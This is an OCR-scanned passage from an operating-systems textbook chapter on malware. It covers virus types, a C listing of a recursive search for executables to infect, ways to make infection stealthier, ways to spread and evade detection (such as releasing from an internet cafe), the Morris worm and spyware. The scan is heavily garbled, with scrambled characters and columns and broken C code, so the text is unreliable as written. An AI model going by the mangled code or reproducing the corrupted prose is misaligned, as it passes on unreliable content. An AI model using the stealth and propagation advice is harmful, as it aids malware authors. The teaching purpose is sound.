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How Viruses Work 

Let us now see what kinds of vilUses there are and how they work. The virus 
writer, let �s call him Virgil, probably works in assembler (or maybe C) to get an 
smal

.
l, effiCIent p:od�ct: After he has written his virus, he inserts it into a program 

o� h�s own machme usmg a tool called a dropper. That infected program is then 
dIstrIbuted, perhaps by posting it to a free software collection on the Internet. The 
program could be an exciting new game, a pirated version of some commercial 
software, or anything else likely to be considered desirable. People then begin to 
download the infected program. 

Once installed on the victim's machine, the virus lies dormant until the in
fected program is �xecuted. Once started, it usually begins by infecting other pro
grams on the �achlll� and then 'executing its payload. In many cases, the payload 
may do nothmg unol a certain date has passed to make sure that the virus is 
wi�e�pread before people begin noticing it. The date chosen might even send a 
pohtlc�I message (e.g., if it triggers on the lOOth or SOOth anniversary of some 
grave msult to the author's ethnic group). 

In the discussion below, we will examine seven kinds of viruses based on 
wh�t is i�fected. These are companion, executable program, memory, boot sector, 
deVIce driver, macro, and source code vilUses. No doubt new types will.appear in 
the future. 

Companion Viruses 

A companion virus does not actually infect a program, but gets to run when the program is supposed to run. The concept is easiest to explain with an example. In MS�DOS, when a user types 
prog 

MS-DOS first looks for a program named prog.com. If it cannot find one, it looks for a program named prog.exe. In Windows, when the user clicks on Start and then Run, the same thing happens. Nowadays, most programs are .exe files; .com files are very rare. 
Suppose that Virgil knows that many people run prog.exe from an MS-DOS prompt or from Run on Windows. He can then simply release a virus called prog.com, which will get executed when anyone tries to run prog (unless he actually types the full name: prog.exe). When prog.com has finished its work it then just executes prog.exe and the user is none the wiser. ' 
A somewhat related attack uses the Windows desktop, which contains shortcuts (symbolic links) to programs. A virus can change the target of a shortcut to make it point to the virus. When the user double clicks on an icon, the virus is executed. When it is done, the virus just runs the original target program. 
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Executable Program Viruses 

o t in complexity are viruses that infect executable programs. The 

Simpl;:r �;ih�Ptype just overwrites the executable program
, 
wit� it�elf. �h

�
.: �

e 

called overwriting viruses. The infection logic of such a VIruS IS gIven III lt>' -

27. 

#indude <sys/types.h> 
#include <syS/stat.h> 
#include <dirent.h> 
#inc!ude <fcntl.h> 
#include <unistd.h> 
struet stat sbu!; 

1* standard POSIX headers */ 

1* for Istat cal! to see if file is sym link *1 

search(char *dlr _name) /* recursively search for executables *1 
/* pOinter to an open directory stream */ 
,* pointer to a directory entry */ 

{ 
DIR *dirp; 
struet dlTent *dp; 

dirp ;:: opendir(dir _name); 
if (dirp :::::: NULL) return; 
while (TRUE) { 

dp ::: readdir(dirp); 
if (dp = =  NULL) { 
chdir (� .. n); 
break; 

/* open this directory *{ . 1* dlT could not be opened; forget It */ 

/* read next directory entry */ 
1* NULL means we are done */ 
/* go back to parent directory *1 
/* exit loop *f 

) ") ,'n e' /* skip the . and .. directories */ 
if (dp->d_name[O] = .  con I U , 

f) /* is entry a symbolic link? */ 
lstat(dp->d_name, &sbu ; . 

d )) ntmue' 1* skip symbolic links *1 . If (S_ISLNK{sbuLsLmo e co , 
1* if chdir succeeds, it must be a dlf *1 

if (chdir{dP->�
,;
-�ame) ::= 0) { 

1* yes, enter and search it */ 
search( . ) ,  

/* no (me), infect i t  */ 

} 
els�/(acCeSS(dP_>d_name,X_OK) = =  0) /* if executable, infect it */ 

infect(dp->d_name); 

) 
c!osedir(dirp); 

1* dir processed; dose and return *1 

Figure 9-27. A recursive procedure that finds executable files on a UNIX system. 

The main rogram of this virus would first copy its binary program into an 

array by openi�g argv[O] and reading it in for safekeeping. T�en it would tra
;

erse 

the entire file system starting at the root directory by changmg to the root 1rec-

to and caning search with the root directory as parameter. . ' 
ry 

The recursive procedure search processes a directory by openm� It,. th�n read

ing the entries one at a time using readdir until a NULL is returned, mdlcatlng that 
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there are no more entries. If the entry is a directory, it is processed by changing to 
it and then calling search recursively; if it is an executable file, it is infected by 
calling infect with the name of the file to infect as parameter. Files starting with 
"." are skipped to avoid problems with the . and _. directories. Also, symbolic 
links are skipped because the program assumes that it can enter a directory using 
the chdir system call and then get back to where it was by going to .. , something 
that holds for hard links but not symbolic links. A fancier program could handle 
symbolic links, too. 

The actual infection procedure, infect (not shown), merely has to open the file 
named in its parameter, copy the virus saved in the array over the file, and then 
close the file. 

. 

This virus could be "improved" in various ways. First, a test could be in
serted into infect to generate a random number and just return in most cases with
out doing anything. In, say, one call out of 128, infection would take place, 
thereby reducing the chances of early detection, before the virus has had a good 
chance to spread. Biological viruses have the same property: those that kill their 
victims quickly do not spread nearly as fast as those that produce a slow, lingering 
death, giving the victims plenty of chance to spread the virus. An alternative de
sign would be to have a higher infection rate (say, 25%) but a cutoff on the num
ber of files infected at once to reduce disk activity and thus be less conspicuous. 

Second, infect could check to see if the file is already infected. Infecting the 
same file twice just wastes time. Third, measures could be taken to keep the time 
of last modification and file size the same as it was to help hide the infection. For 
programs larger than the virus, the size will remain unchanged, but for programs 
smaller than the virus, the program will now be bigger. Since most viruses are 
smaller than most programs, this is not a serious problem. 

Although this program is not very long (the full program is under one page of 
C and the text segment compiles to under 2 KB), an assembly code version of it 
can be even shorter. Ludwig ( 1998) gives an assembly code program for MS-DOS 
that infects all the files in its directory and is only 44 bytes when assembled. 

Later in this chapter we will study antivirus programs. that is, programs that 
track down and remove viruses. It is interesting to note here that the logic of 
Fig. 9-27, which a virus could use to find all the executable files to infect them 
could also be used by an antivirus program to track down all the infected pro� 
grams in order to remove the virus. The technologies of infection and disinfection 
go hand in hand, which is why it is necessary to understand in detail how viruses 
work in order to be able to fight them effectively. 

From Virgil's point of view, the problem with an overwriting virus is that it is 
too easy to detect. After all, when an infected program executes, it may spread the 
virus some more, but it does not do what it is supposed to do, and the user will 
notice this instantly. Consequently, most viruses attach themselves to the program 
and do their dirty work, but allow the program to function nonually afterward. 
Such viruses are caned parasitic viruses. 
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ParasitiC viruses can attach themselves to the front, the back, or the middle of 

the executable program. If a virus attaches itself to the front, it has to first copy 

the program to RAM, put itself on the front, and then copy the program back fro� 

RAM following itself, as shown in Fig. 9-28(b). Unfortunately, the program wIll 

not run at its new virtual address, so the virus has to either relocate the �rogram as 

it is moved or move it to virtual address 0 after finishing its own execution. 

Starting 
address 

Executable 
program 

Header 
(al 

C 

Executabl 
program 

y;rus 

Header 
(bl 

) 
Viru 

Header ( ; 
Header 

(cl (dl 

Fi<ture 9.28. (a) An executable program. (b) With a virus at the front. (c) With 

a ;irus at the end. (d) wi.th a virus spread over free space within the program. 

To avoid either of the co�plex options required by these front loaders, most 

viruses are back loaders, attaching themselves to the end o� the executable p�o

gram instead of the front, c�anging th� sta:ting address field .m the 
.
header to pomt 

to the start of the virus, as Illustrated m FIg. 9-28(c). The VIruS WI�1 now ?xecute 

at a different virtual address depending on which infected program IS .runnmg, but 

all this means is that Virgil has to make sure his virus is position mdep�ndent, 

using relative instead of absolute addresses. That is not hard for an expenenced 

programmer to do and some compilers can do it upon request . 
Complex executable program formats, such as .exe files on �mdows and 

nearly all modern UNIX binary formats, allow a program to have mu!t1ple text �nd 

data segments, with the loader assembling them in memory and domg r�locatlOn 

on the fly. In some systems (Windows, for example), all segme.nts (sec�lOns) are 

multiples of 512 bytes. If a segment is not full, the linker fill� It out ':lth Os. � 
virus that understands this can try to hide itself in the holes. If It fits entirely, as m 

Fig. 9-28(d), the file size. remains the same as that of the urun�ecte.
d �le, clearly a 

plus, since a hidden virus is a happy virus. Viruses that use thIS pnn�Iple are �all

ed cavity viruses. Of course, if the loader does not load the cavIty areas mto 

memory, the virus y.rill need another way of getting started. 

Memory-Resident Viruses 

So far we have assumed that when an infected program is executed, the virus 
runs, passes control to the real program, and then exit�. In �o?trast, a memory
resident virus stays in memory (RAM) all the time, eIther hldmg at the very top 
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of memory or perhaps down in the grass among the interrupt vectors, the last few 
hundred bytes of which are generally unused. A very smart virus can even modify 
the operating system's RAM bitmap to make the system think the virus> memory 
is occupied, to avoid the embarrassment of being overwritten. 

A typical memory-resident virus captures one of the trap or interrupt vectors 
by copying the contents to a scratch variable and putting its own address there, 
thus directing that trap or interrupt to it. The best choice is the system call trap. In 
that way, the virus gets to run (in kernel mode) on every system call. When it is 
done, it just invokes the real system call by jumping to the saved trap address. 

Why would a virus want to run on every system call? To infect programs, 
naturally. The virus can just wait until an exec system call comes along, and then, 
knowing that the file at hand is an executable binary (and probably a useful one at 
that), infect it. This process does not require the massive disk activity of Fig. 9-27, 
so it is far less conspicuous. Catching all system calls also gives the virus great 
potential for spying on data and performing all manner of mischief. 

Boot Sector Viruses 

As we discussed in Chap. 5, when most computers are turned on, .the BIOS 
reads the master boot record from the start of the boot disk into RAM and exe
cutes it. This program determines which partition is acti ve and reads in the first 
sector, the boot sector, from that partition and executes it. That program then ei
ther loads the operating system or brings in a loader to load the operating system. 
Unfortunately, many years ago one of Virgil's friends got the idea of creating a 
virus that could overwrite the master boot record or the boot sector, with devastat
ing results. Such viruses, called boot sector viruses, are very common. 

Nonnally, a boot sector virus [which includes MBR (Master Boot Record) vi� 
ruses] first copies the true boot sector to a safe place on the disk so that it can boot 
the operating system when it is finished. The Microsoft disk formatting program, 
fdisk, skips the first track, so that is a good hiding place on Windows machines. 
Another option is to use any free disk sector and then update the bad sector list to 
mark the hideout as defective. In fact, if the virus is large, it can also disguise the 
rest of itself as bad sectors. A really aggressive virus could even just allocate nor
mal disk space for the true boot sector and itself, and update the disk's bitmap or 
free list accordingly. Doing this requires an intimate knowledge of the operating 
system's internal data structures, but Virgil had a good professor for his operating 
systems course and studied hard. 

When the computer is booted, the virus copies itself to RAM, either at the top 
or down among the unused interrupt vectors. At this point the machine is in ker
nel mode, with the MMU off, no operating system, and no antivirus program run
ning. Party time for viruses. When it is ready, it boots the operating system, 
usually staying memory resident so it can keep an eye on things. 
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o blem however is how to get control agiin later. The usual way is to 
,ne pro . . ' 

wledG� of how the operating system manages the interrupt 
exploIt S

F
peclf1C kn

p
O
]e Wi;dows does not overwrite all the interrupt vectors in o.ne vectorS. or exam , . h t es the m

blow. Instead, it loads device drivers one at a tl�e, and-eac one cap ur 

terrupt vector it needs. This process can tak� a mmute. 
ca turin all 

Th" desicrn gives the virus the handle It needs. It starts out by P g 
IS I!> 

• Fer 9 29( ) As drivers load some of the vec-
the interrupt ve��o�s

, 
b�t ����:� :�e ;l�Ck-dri�e� is loaded first, there will �e plenty 

tors ar:k 
°
i:�= � later that start the virus. Loss of the printer interrupt IS shown 

�: ��� 9-29(b). 
P
AS soon as the virus sees that one of it,

s interru�t :rectors has been 

over::ritten, it can overwrite that vector again, kn0w.mg th
d
at ?t l� nO

t
':" 

g
S�:t

(:�� 
interru t vectors are overwritten several urnes unng 00 III , 

. . tually, s?me 
terminFstic and Virgil knows it by heart). Recapture of the pnn�er IS 

pattern ?S 
F
de 

9 29(c) When everything is loaded, the virus restores all the lllter
shown III F. - . . f A tho 'nt we 
rupt vectors eand keeps only the system call trap vector for l�el . 

h
: . 1sh

POl 
most 

have a memory-resident virus in control of system calls. In act, t IS IS ow 

memory-resident viruses get started in life. 
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Fi re 9-29. (a) After the virus has capmred al� the �nterrupt and trap vectors. 

(b�fter the operating system has retaken the pnnter mterrupt vector. (c). 
After 

the virus has noticed the loss of the printer interrupt vector and recaptured It. 

Device Driver Viruses 

Getting into memory like this is a little like spelunking (explorin� caves� 

ou have to 0'0 throllO'h contortions and keep worrying about someth�ng fallmg 

� and landing on ;our head. It would be much simpler if the operaung system 

w
O
o:�d 'ust kindly load the virus officially. Wi� a little bit

. 
of w?rk, that �oal can 

be achieved right off the bat. The trick is to mfect a deVice dnver, leadmg to a 
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device driver virus. In Windows and some UNIX systems, device drivers are just 
executable programs that live on the disk and are loaded at boot time. If one of 
them can be infected, the virus will always be officially loaded at boot time. Even 
nicer, drivers run in kernel mode, and after a driver is loaded, it is called, giving 
the virus a chance to capture the system call trap vector. This fact alone is actually 
a strong argument for running the device drivers as user-mode programs-if they 
get infected, they cannot do nearly as much damage as kernel-mode drivers. 

Macro Viruses 

Many programs, such as Word and Excel, allow users to write macrOs to 
group several commands that can later be executed with a single keystroke. Mac
ros can also be attached to mene items, so that when one of them is selected, the 
macro is executed. In Microsoft Office, macros can contain entire programs in 
Visual Basic, which is a complete programming language. The macros are inter
preted rather than compiled, but that only affects execution speed, not what they 
can do. Since macros may be document specific, Office stores the macros for each 
document along with the document. 

Now comes the problem. Virgil writes a document in Wont and creates a 
macro that he attaches to the OPEN FILE function. The macro contains a macro 

virus. He then e-mails the document to the victim, who naturally ope�s it (as
suming the e-mail program has not already done this for him). Opening the docu
ment causes the OPEN FILE macro to execute. Since the macro can contain an 
arbitrary program, it can do anything, such as infect other Word documents, erase 
files, and more. In all fairness to Microsoft, Word does give a warning when 
opening a file with macros, but most users do not understand what this means and 
continue opening anyway. Besides, legitimate documents may also contain mac
ros. And there are other programs that do not even give this warning, making it 
even harder to detect a virus. 

With the growth of e-mail attachments, sending documents with viruses em
bedded in macros is an immense problem. Such viruses are much easier to write 
than concealing the true boot sector somewhere in the bad block list, hiding the 
virus among the interrupt vectors, and capturing the system call trap vector. This 
means that increasingly less skilled people can now write viruses, lowering the 
general quality of the product and giving virus writers a bad name. 

Source Code Viruses 

Parasitic and boot sector viruses are highly platfonn specific; document vi
ruses are somewhat less so (Word runs on Windows and the Macintosh, but not on 
UNlX). The most portable viruses of all are source code viruses. Imagine the 
virus of Fig. 9-27, but with the modification that instead of looking for binary ex
ecutable files, it looks for C programs, a change of only I line (the call to access). 
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The infect procedure should be changed to insert the line 

#include <virus.h> 

CHAP. 9 

at the top of each C source program. One other insertion is needed, the line 

run_virus( ); 
to activate the virus. Deciding where to put this line requires some ability to parse 
C code, since it must be at a place that syntactically allows procedure cans and 
also not at a place where the code would be dead (e.g., following a return state
ment). Putting it in the middle of a comment does not work either, and putting it 
inside a loop might be too much of a good thing. Assuming the call can be placed 
properly (e.g., just before the end of main or before the return statement if there is 
one), when the program is compiled, it now contains the virus, taken from virus.h 
(although proj.h might attract less attention should somebody see it). . . When the program runs, the virus will be called. The virus can do anythmg It 
wants to, for example, look for other C programs to infect. If it fmds one, it can 
include just the two lines given above, but this will only work on the local ma
chine, where virus,h is assumed to be installed already. To have this work on a 
remote machine, the full source code of the virus must be included. This can be 
done by including the source code of the virus as an initialized character string, 
preferably as a list of 32�bit hexadecimal integers to prevent anyone from figuring 
out what it does. This string will probably be fairly long, but with today's mul
timegaline code, it might easily slip by. 

To the uninitiated reader, all of these ways may look fairly complicated. One 
can legitimately wonder if they could be made to work in practice. They can be. 
Virgil is an excellent programmer and has a lot of free time on his hands. Check 
your local newspaper for proof. 

How Viruses Spread 

There are several scenarios for distribution. Let us start with the classical one. 
Virgil writes his virus, inserts it into some program he has written (or stolen), and 
starts distributing the program, for example, by putting it on a shareware Website. 
Eventually, somebody downloads the program and runs it. At this point there are 
several options. To start with, the virus probably infects more files on the hard 
disk, just in case the victim decides to share some of these with a friend later. It 
can also try to infect the boot sector of the hard disk. Once the boot sector is in
fected, it is easy to start a kernel-mode memory-resident virus on subsequent 
boots. 

Nowadays, other options are also available to Virgil. The virus can be written 
to check if the infected machine is on a LAN, something that is very likely on a 
machine belonging to a company or university. The virus can then start infecting 
unprotected files on all the servers connected to the LAN. This infection will not 
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extend to protected files, but that can be dealt with by making infected programs 
act strangely. A user w�o .runs such a program wiIl likely ask the system adminis
trator for ?elp .

. 
The adImmstrator will then try out the strange program himself to 

see �hat IS gomg ?n. If the administrator does this while logged in as superuser, 
the VIruS can nov.: mfect t

.
he syste� binaries, device drivers, operating system, and 

boot sectors. All It 4tkes IS one nustake like this and all the machines on the LAN 
are compromised. 

Often machines On a LAN have authorization to log onto remote machines 
over the Internet or a private network, or even authorization to execute commands 
remotely without logging in. This ability provides more opportunity for viruses to 
spread: Thus one in�ocent mistake can infect the entire company. To prevent this 
scenano, all compames should have a general policy telling administrators never 
to make mistakes. 

Another way to spread a virus is to post an infected program to a USENET 
newsgroup or Website to which programs are regularly posted. Also possible is to 
create a Web page that requires a special browser plug-in to view and then make 
sure the plug-ins are infected. 

' 

A different attack is to infect a document and then e-mail it to many people or 
broadcast it to a mailing list or USENET news group, usually as an attachment. 
Even p�ople who would never dream of running a program some stranger sent �em mIght .not re�ize that Clicking on the attachment to open it can-release a 
VIruS on theIr machme. To make matters worse, the virus can then look for the 
us

.
er's ad&:ess �ook and then mail itself to everyone in the address book, usually 

WIth a Subject hne that looks legitimate or interesting, like 

Subject: Change of plans 
Subject: Re: that last e-mail 
Subject: The dog died last night 
Subject: I am seriously ill 
Subject: I love you 

When the e-mail arrives, the receiver sees that the sender is a friend or colleague, 
and thus does not suspect trouble. Once the e-mail has been opened, it is too late. 
The "I LOVE YOU" virus that spread around the world in June 2000 worked this 
way and did a billion dollars worth of damage. 

. 
Somewhat related to the actual spreading of active viruses is the spreading of 

VIruS technology. There are groups of virus writers who actively communicate 
over the Internet and help each other develop new technology, tools, and viruses. 
Most o� them are probably hobbyists rather than career criminals, but the effects 
can b� Just as devastating. Another category of virus writers is the military, which 
Sees VIruses �s a weapon of war potentially able to disable an enemy's computers. 

Another ISSue related to spreading -viruses is avoiding detection. Jails have 
notoriously bad computing facilities, so Virgil would prefer avoiding them. If he 
posts the initial virus from his home machine he is running a certain risk. If the 
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attack is successful, the police might track him down by looking for the virus 
message with the youngest timestamp, since that is probably closest to the source 
of the attack. . . . 

To minimize his exposure, Virgil might go to an Internet,
cafe III a dIstant CIty 

and log in there. He can either bring the virus on a USB stIck or CD-ROM. 
and 

read it in himself, or if the machines do not have USB ports or CD-ROM dnves, 
ask the nice young lady at the desk to please read in the file book. doc so he c�n 
print it. Once it is on his hard disk, he renames the file virus. exe �nd �xecutes It, 
infecting the entire LAN with a virus that triggers a month lat�r, Just III case the 
police decide to ask the airlines for a list of �ll people who flew m that week. . 

An alternative is to forget the USB suck and CD-ROM and fetch the VIruS 
from a remote FfP site. Or bring a notebook and plug it in to an Ethernet port that 
the Internet cafe has thoughtfully provided for notebook-toting .to�rists who want 
to read their e-mail every day. Once connected to the LAN, VIrgIl can set out to 
infect all of the machines on it. . 

There is a lot more to be said about viruses. In particular how they try to hIde 
and how antivirus software tries to flush them out. We will come back to these 
topics when we get into defenses against malware later in this chapter. 

9.7.3 Worms 

The first large-scale Internet computer security violation began in the evening 
of Nov. 2, 1988 when a Cornell graduate student, Robert Tappan Morris, released 
a wonn program into the Internet. This action brought dow� thousands of com
puters at universities, corporations, and government laboratones all over the world 
before it was tracked down and removed. It also started a controversy that has not 
yet died down. We will discuss the highlights of this event below . . For more 
technical information see the paper by Spafford (1989). For the story vIewed as a 
police thriller, see the book by Hafner and Markoff (1991).. . 

The story began sometime in 1988 when Moms dIscovered two �ugs III 

Berkeley UNIX that made it possible to gain unauthorized access to machmes all 
over the Internet. Working all alone, he wrote a self-replicating program, called a 
worm, that would exploit these errors and replicate itself in seconds on every ma
chine it could gain access to. He worked on the program for months, carefully 
tuning it and having it try to hide its tracks. 

It is not known whether the release on Nov. 2, 1988 was intended as a test, or 
was the real thing. In any ev�n�, it did bring most. of the Sun and ,! ";X s�steI?s o.n 
the Internet to their knees withm a few hours of Its release. Moms motlvatlOn IS 

unknown, but it is possible that he intended the whole idea as a high-tech practical 
joke, but which due to a programming error got completely out of hand. 

Technically, the worm consisted of twO programs, the bootstrap and the worm 
proper. The bootstrap was 99 lines of C called 1I.c. It waS compile? and execu�ed 
on the system under attack. Once running, it connected to the machme from whIch 
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it came, uploaded the main wonn, and executed it. After going to some trouble to hide its existence, the wonn then looked through its new host's routing tables to see what machines that host was connected to and attempted to spread the bootstrap to those machines. 
Three methods were tried to infect new machines. Method 1 was to try to run a remote shell using the rsh command. Some machines trust other machines, and just run rsh without any further authentication. If this worked, the remote shell uploaded the worm program and continued infecting new machines from there. Method 2 made use of a program present on all systems called finger that al-lows a user anywhere on the Internet to type . 
finger name@site 

to display infonnation about a person at a particular installation. This information usually includes the person's real name, login, home and work addresses and telephone numbers, secretary's name and telephone number, FAX number, and similar information. It is the electronic equivalent of the phone book. 
Finger works as follows. At every site a background process called the 

finger daemon, runs all the time fielding and answering queries from all over the Internet. What the worm did was call finger with a specially handcrafted 536-byte string as parameter. This long string overflowed the daemon's buffer and overwrote its stack, the way shown in Fig. 9-24(c). The bug exploited here was the daemon's failure to check for overflow. When the daemon retumea from the procedure it was in at the time it got the request, it returned not to main, but to a procedure inside the 536-byte string on the stack. This procedure tried to execute 
sh. If it worked, the worm now had a shell running on the machine under attack Method 3 depended on a bug in the mail system, sendmail, which allowed the worm to mail a copy of the bootstrap and get it executed. 

Once established, the wonn tried to break user passwords. Morris did not have to do much research on how to accomplish this. All he had to do was ask his father, a security expert at the National Security Agency, the U.S. government's code-breaking agency, for a reprint of a classic paper on the subject that Morris Sr. and Ken Thompson had written a decade earlier at Bell Labs (Morris and Thompson, 1979). Each broken password allowed the wonn to log in on any machines the password's owner had accounts on. 
Every time the worm gained access to a new machine, it checked to see if any other copies of the worm were already active there. If so, the new copy exited, except one time in seven it kept going, possibly in an attempt to keep the worm propagating even if the system administrator there started up his own version of the wonn to fool the real worm. The use of one i,n seven created far too many worms, and was the reason all the infected machines grou"nd to a halt: they were infested with worms. If Morris had left this out and just exited whenever another worm was sighted, the worm would probably have gone undetected. 
Monis was caught when one of his friends spoke with the New York Times computer reporter, John Markoff, and tried to convince Markoff that the incident 
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was an accident the woan was harmless, and the author was sorry. The friend 

inadvertently let
'
slip that the perpetrator's login was rtm. Converting rtm into the 

owner's name was easy-all that Markoff had to do was to run finger. The next 

day the story was the lead on page one, even upstaging the presidential election 

three days later. 
Morris was tried and convicted in federal court. He was sentenced to a fine of 

$10,000, 3 years probation, and 400 hours of community service. His legal costs 

probably exceeded $ 150,000. This sentence generated a great deal of contro

versy. Many in the computer community felt that he was a bright graduate student 

whose harmless prank had gotten out of control. Nothing in the worm sugge�ted 

that Morris was trying to steal or damage anything. Others felt he was a senous 

criminal and should have gone to jail. Morris later got his Ph.D. from Harvard 

and is now a professor at M.l.T. 

One permanent effect of this incident was the establishment of CERT 

(the Computer Emergency Response Team), which provides a central place to 

report break-in attempts, and a group of experts to analyze security prob
.
lems and 

design fixes. While this action was certainly a step forward, it also has Its downw 

side. CERT collects infonnation about system flaws that can be attacked and how 

to fix them. Of necessity, it circulates this information widely to thousands of 

system administrators on the Internet. Unfortunately, the bad guys (possibly. pos

ing as system administrators) may also be able to get bug reports and explOIt the 

loopholes in the hours (or even days) before they are ?losed. . 
A variety of other worms have been released SlQce the Moms worm. . .  They 

operate along the same lines as the Morris worm, only e�ploiting different bugs in 

other software. They tend to spread much faster than VIruSes because they move 

On their own. As a consequence, antiworm technology is being developed to 

catch the worms on the fly when they first appear, rather than waiting for the 

worm to be cataloged and entered into a central data base (Portokalidis and Bos, 

2007). 

9.7.4 Spyware 

An increasingly common kind of malware is spyware, Roughly speaking, 

spyware is software that is surrepitiously loaded onto a PC without the owner's 

knowledge and runs in the background doing things behind the owner's back. 

Defining it. though, is surprisingly tricky. For example, Windows Update auto

matically downloads security patches to Windows machines without the owners 

being aware of it. Likewise, many antivirus programs automatically update them

selves in the background. Neither of these are considered spyware. If Potter 

Stewart were alive, he would probably say: "1 can't define spyware, but I know it 

when I see it." t 
tPotter Stewart was ajustice on the u.s. Supreme Court 1958-1.981. �e is now �ost famo.us for 
writing a concurrin"" opinion on a case concerning pornography 10 which he admllted to belOg 
unable to define po';oography but added "but I know it when I see it." 
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Others have trie? harder to define it (spyware, not pornography). Barwinski 
et aL (20

.
06) h�ve SaId it has four characteristics. First, it hides, so the victim can

not find It eaSIly .
. 

Second, it collects d�ta a�out the user (Websites visited, pass
WOf?S, even credIt card numbers). ThIrd, It communicates the collected infor
matIon back to its distant master. And fourth, it tries to survive determined at
tempts to. 

r�move it. Ad�tional�y,. �ome spyware changes settings and perfonns 
other malICIOUS and annoymg aCtiVItIes as described below. 

B�insky et al. divided the spyware into three broad categories. The first is 
marketmg: the spyware simply collects infonnation and sends it back to the mas�er, usua.lIy to better target advertising to specific machines. The second category 
IS 

.
surveIllance, where companies intentionally put spyware on employee ma

chmes 
,
to keep track of what �hey are doing and which Websites they are visiting. 

The thrrd gets
. 
close to claSSIcal malware, where the infected machine becomes 

part of a zombIe army waiting for its master to give it marching orders. 

. . !hey ran an experiment to see what kinds of Websites contain spyware by 
VISltI�g 5000 y" ebsltes. They o�served that the major purveyors of spyware are 
Websltes relatmg to adult entertamment, warez, online travel, and real estate. 

A much larger study was done at the University of Washington (Moshchuk et 
al., 2006). In the UW study, some 18 million URLs were inspected and almost 
6% were found to cont�in spyware. Thus it is not surprising that in a study by 
AOLlNCSA th�t they Cite, 80% of the home computers inspected wet'e infested 
by spyware, WIth an average of 93 pieces of spyware per computer. The UW 
study found that the adult, celebrity, and wallpaper sites had the largest infection 
rates, but they did not examine travel and real estate. 

How Spyware Spreads 

The obvious next question is: "How does a computer get infected with spy
ware?" One way is the same as with any malware:, via a Trojan horse. A consid
erab�e amount of free software �ontains spy ware, with the author of the software 

�aking mone� from the spyware. Peer-to-peer file-sharing software (e.g., Kazaa) 
IS rampant With spyware. Also, many Websites display banner ads that direct 
surfers to spyware-infested Web pages. '!he othe� major infection route is often called the drive-by download. It is 
pOSSIble to pIck up spyware (in fact, any malware) just by visiting an infected 
Web page. There are three variants of the infection technology. First, the Web 
page may redirect the browser to an executable (.exe) file. When the browser sees 
the file, .it pops �� a dialog box asking the user if he wants to run or save the pro
gram. Smce !egltlmate downloads use the same mechanism, most users just click 
on RUN, whICh causes the browser to download and execute the software. At this 
point, the machine is infected and the spyware is free to do anything it wants to. 

. The second co
.
rumon route is the infected toolbar. Both Internet Explorer and 

Ftrefox support thrrd-party toolbars. Some spyware writers create a nice toolbar 
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that has some useful features and then widely advertise it as a great free a�it�on. 

People who install the toolbar get the spy:,are. The. p
opul� Alexa to�lbar con

tains spyware, for example. In essence, thIS scheme IS a Trojan horse, Just pack-

aCTed differently. M' f 
e The third infection variant is more devious. Many Web pages use a lerose t 

technology called activeX controls. These controls ar� Pe�tium binary programs 

that plug into Internet Explorer a�d ext:nd its functIOnality, f?f �xamp�e, ren� 
dering special kinds of image, audIo, o� vI�e� Web pages. In prmclple, �s tech

_ 
nology is perfectly legitimate. In practlce, It IS extremely dang�rous and IS pIoba 

bl the main method by which spyware infections happen. ThIS approach always 

ta:o-ets IE (Internet Explorer), never Firefox or other browsers. 

l:> When a page with an activeX control is visited, what happen� depends �n the 

IE security settings, If they are set too low, the spy,:",are l� automa�cally 

downloaded and installed, The reason people set the secunty settmgs low IS th�t 

when they are set high, many Websites do not display co�ectly (or at all) or IE IS 

constantly asking permission for this and that, n
.
one of 

.
WhIC� the user unde

.
rstandS, 

Now suppose the user has the security settlflgs faIrly hIgh. Wh�n an mfected 

Web page is visited, IE detects the activeX control.and pops up a dialog box that 

contains a message provided by the Web page, It mIght say 

Do you want to instal! and run a program that will speed up your Internet access? 

Most people will think this is a good idea and click YES. Bingo. They're �istory. 

Sophisticated users may check out the rest of the dialog box, whe�e they w�ll find 

two other items. One is a link to the Web page's certificate (�s dlscus�ed m Sec. 

9.2.4) provided by some CA they have never heard of and whIch contams 
.
no use

ful information other than the fact that CA vouches that the c0n;tpany eXl�ts and 

had enough money to pay for the certificate. The other is a hyperllnk to a d�fferent 

Web page provided by the Web page being visited. It is suppos�d to explam what 

the activeX control does, but, in fact, it can be abou� an��mg and generally 

explains how wonderful the activeX control is and how It wll1.lI,?prove your surf

ing experience. Armed with this bogus infonnation, even SOphIStIcated users often 

click YES. . 
If they click NO, often a script on the Web page uses a ?u? In IE

, 
to try to 

download the spyware anyway. If no bug is available t? explOit,. It may J�st try to 

download the activeX control again and again and agam, each tIme causm� IE to 

display the same dialog box. Most people do not know .what to do at .that pomt (go 

to the task manager and kill IE) so they eventually gIve up and clIck YES. See 

Bingo above. . 
Often what happens next is that the spyware displays a 20-30 page lIcense 

agreement written in language that would have been familiar to. G
eoffrey Chaucer 

but not to anyone subsequent to him outside the legal profesSIOn. Once the user 

has accepted the license, he may loses his right to sue the spyware vendor because 

he has just agreed to let the spyware run amok, although sometimes local laws 
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override such licenses. (If the license says "Licensee hereby irrevocably grants to 
licensor the right to kill licensee's mother and claim her inheritance" licensor 
may have some trouble convincing the courts when he comes to coUect, despite 
licensee's agreeing to the license.) 

Actions Taken by Spyware 

Now let us look at what spyware typically does. All of the items in the list 
below are common. 

1 .  Change the browser's home page. 

2. Modify the browser's list of favorite (bookmarked) pages. 

3. Add new toolbars to the browser. 

4. Change the user's default media player. 

S. Change the user's default search engine. 

6. Add new icons to the Windows desktop. 

7. Replace banner ads on Web pages with those the spyware picks. 

8. Put ads in the standard Windows dialog boxes 

9. Generate a continuous and unstoppable stream of pop-up ads. 

The first three items change the browser's behavior, usually in such a way that 
even rebooting the system does not restore the previous values. This attack is 
known as browser hijacking. The two items change settings in the Windows 
registry, diverting the unsuspecting user to a different media player (that displays 
the ads the spyware wants displayed) and a different search engine (that returns 
Websites the spyware wants it to). Adding icons to the desktop is an obvious at
tempt to get the user to run newly installed software. Replacing banner ads (468 x 
60 .gifimages) on subsequent Web pages makes it look like all Web pages visited 
are advertising the sites the spyware chooses. But it is the last item that is the 
most annoying: a pop-up ad that can be closed, but which generates another pop
up ad immediately ad infinitum with no way to stop them. Additionally, spyware 
sometimes disables the firewall, removes competing spyware, and carries out 
other malicious actions. 

Many spyware programs come with uninstallers, but they rarely work, so in
experienced users have no way to remove the spyware. Fortunately, a new indus
try of antispyware software is being created and existing antivirus finns are get
ting into the act. 

Spyware should not be confused with adware, in which legitimate (but small) 
software vendors offer two versions of their product: a free one with ads and a 
paid one without ads. These companies are very clear about the existence of the 
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two versions and always offer users the option to upgrade to the paid version to 
get rid of the ads. 

9.7.5 Rootkits 

A rootkit is a program or set of programs and files that attempts to conceal its 
